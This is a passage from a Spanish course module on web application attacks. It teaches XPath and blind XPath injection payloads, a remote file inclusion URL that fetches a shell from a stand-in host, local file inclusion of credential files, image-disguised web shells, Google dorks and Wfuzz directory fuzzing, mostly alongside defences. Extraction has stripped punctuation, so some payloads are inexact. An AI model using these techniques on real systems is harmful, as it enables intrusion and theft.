de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

